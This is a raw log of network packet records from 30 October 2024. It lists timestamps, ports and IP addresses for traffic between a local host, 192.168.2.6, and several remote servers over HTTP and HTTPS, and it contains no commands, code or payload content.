Oct 30, 2024 11:45:41.413203001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.413212061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.413220882 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.413228989 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.413249016 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.413268089 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.413320065 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.413336039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.413351059 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.413373947 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.413403988 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.421967983 CET	49946	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.421993971 CET	49942	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.437581062 CET	49945	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.443336964 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.453219891 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.454864025 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.454879999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.454895973 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.454921007 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.454937935 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.454998016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455022097 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455039978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455055952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455064058 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.455075979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455076933 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.455095053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455104113 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.455158949 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.455158949 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.455432892 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455480099 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.455480099 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455497980 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455523014 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.455540895 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.455545902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455563068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455579042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455586910 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.455595970 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455612898 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.455615044 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455621004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.455630064 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.455632925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.455646992 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.455674887 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.456007957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.456079960 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.456207991 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.456223965 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.456239939 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.456247091 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.456258059 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.456263065 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.456276894 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.456279993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.456296921 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.456300020 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.456311941 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.456316948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.456331015 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.456332922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.456347942 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.456350088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.456366062 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.456371069 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.456388950 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.456402063 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.492659092 CET	443	49944	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.492707014 CET	443	49944	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.492789030 CET	443	49944	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.492824078 CET	49944	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.492857933 CET	49944	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.493834972 CET	49944	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.493850946 CET	443	49944	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.498457909 CET	443	49942	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.498527050 CET	443	49942	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.498667002 CET	49942	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.500251055 CET	49942	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.500266075 CET	443	49942	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.500902891 CET	443	49946	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.500921011 CET	443	49946	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.500929117 CET	443	49946	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.500979900 CET	49946	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.500983953 CET	443	49946	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.501023054 CET	49946	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.504525900 CET	49946	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.504542112 CET	443	49946	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.519200087 CET	443	49945	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.519227982 CET	443	49945	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.519259930 CET	443	49945	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.519326925 CET	49945	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.519344091 CET	443	49945	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.519450903 CET	49945	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.519520998 CET	443	49945	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.519570112 CET	443	49945	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.519608021 CET	49945	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.524358988 CET	49945	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.524374008 CET	443	49945	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.524386883 CET	49945	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.524415016 CET	49945	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.528223038 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.528250933 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.528291941 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.528316975 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.528333902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.528371096 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.528387070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.528398991 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.528403997 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.528418064 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.528443098 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.528551102 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.528589964 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.528594017 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.528620958 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.528634071 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.528636932 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.528647900 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.528680086 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.528812885 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.528820992 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.528872967 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.530373096 CET	49953	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.530385971 CET	443	49953	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.530770063 CET	49954	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.530791998 CET	443	49954	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.530865908 CET	49955	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.530877113 CET	443	49955	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.531084061 CET	443	49948	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.532215118 CET	443	49941	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.532279968 CET	443	49941	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.532321930 CET	443	49941	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.532334089 CET	49941	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.532366991 CET	49941	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.533756018 CET	49948	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.533771038 CET	443	49948	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.534457922 CET	49948	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.534462929 CET	443	49948	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.534966946 CET	49941	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.534979105 CET	443	49941	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.534997940 CET	49941	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.535002947 CET	443	49941	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.538166046 CET	49956	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.538183928 CET	443	49956	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.538245916 CET	49956	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.538351059 CET	49956	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.538364887 CET	443	49956	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.543940067 CET	443	49951	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.544318914 CET	49951	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.544346094 CET	443	49951	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.544761896 CET	49951	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.544769049 CET	443	49951	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.565013885 CET	443	49950	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.565423012 CET	49950	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.565431118 CET	443	49950	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.565901041 CET	49950	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.565905094 CET	443	49950	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.570172071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.570251942 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.570293903 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.570310116 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.570324898 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.570339918 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.570350885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.570357084 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.570367098 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.570375919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.570386887 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.570394039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.570400000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.570416927 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.570447922 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.570614100 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.570630074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.570646048 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.570658922 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.570663929 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.570669889 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.570681095 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.570688963 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.570708036 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.570719004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.571026087 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571052074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571068048 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571099997 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.571127892 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571130037 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.571146011 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571167946 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.571187019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.571263075 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571300030 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571301937 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.571326017 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571337938 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.571372986 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.571408987 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571424961 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571439981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571450949 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.571465969 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.571481943 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.571783066 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571798086 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571813107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571831942 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.571846962 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.571870089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571886063 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571902990 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.571922064 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.571939945 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.580256939 CET	443	49949	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.580594063 CET	49949	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.580607891 CET	443	49949	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.581017971 CET	49949	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.581022978 CET	443	49949	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.602247953 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.602267027 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.602273941 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.602287054 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.602313995 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.602334976 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.602355957 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.602370977 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.602401972 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.614303112 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.614322901 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.614366055 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.614376068 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.614407063 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.614432096 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.615082026 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.615138054 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.643639088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.643652916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.643676043 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.643692970 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.643707991 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.643714905 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.643807888 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.643830061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.643831015 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.643856049 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.643883944 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.643913984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.643928051 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.643968105 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.653240919 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.653264046 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.653271914 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.653302908 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.653316975 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.653331995 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.653331995 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.653351068 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.653377056 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.653377056 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.653393984 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.657269955 CET	49957	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:41.657306910 CET	443	49957	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:41.657407999 CET	49957	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:41.658579111 CET	49957	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:41.658590078 CET	443	49957	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:41.661345959 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.661361933 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.661415100 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.661432028 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.661626101 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.662270069 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.662329912 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.662439108 CET	49958	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:41.662467003 CET	443	49958	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:41.662564039 CET	49958	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:41.663253069 CET	49959	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:41.663260937 CET	443	49959	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:41.663333893 CET	49959	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:41.663466930 CET	49958	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:41.663477898 CET	443	49958	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:41.665246010 CET	49959	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:41.665262938 CET	443	49959	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:41.665421963 CET	443	49948	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.665512085 CET	443	49948	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.665564060 CET	49948	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.665572882 CET	443	49948	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.665644884 CET	443	49948	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.665863991 CET	49948	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.666495085 CET	49948	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.666503906 CET	443	49948	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.666512966 CET	49948	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.666517019 CET	443	49948	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.671612024 CET	49960	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.671634912 CET	443	49960	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.671722889 CET	49960	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.671945095 CET	49960	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.671955109 CET	443	49960	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.681612015 CET	443	49951	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.681675911 CET	443	49951	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.681775093 CET	49951	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.681865931 CET	49951	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.681879997 CET	443	49951	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.681893110 CET	49951	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.681898117 CET	443	49951	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.684214115 CET	49961	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.684238911 CET	443	49961	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.684324980 CET	49961	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.684482098 CET	49961	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.684488058 CET	443	49961	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.685406923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.685470104 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.685539007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.685565948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.685580015 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.685580969 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.685606003 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.685616016 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.685641050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.685662985 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.685702085 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.685801029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.685841084 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.685930967 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.685976982 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.685997963 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686019897 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686037064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686039925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686049938 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686053038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686074972 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686090946 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686111927 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686229944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686245918 CET	80	49888	185.215.113.206	192.168.2.6
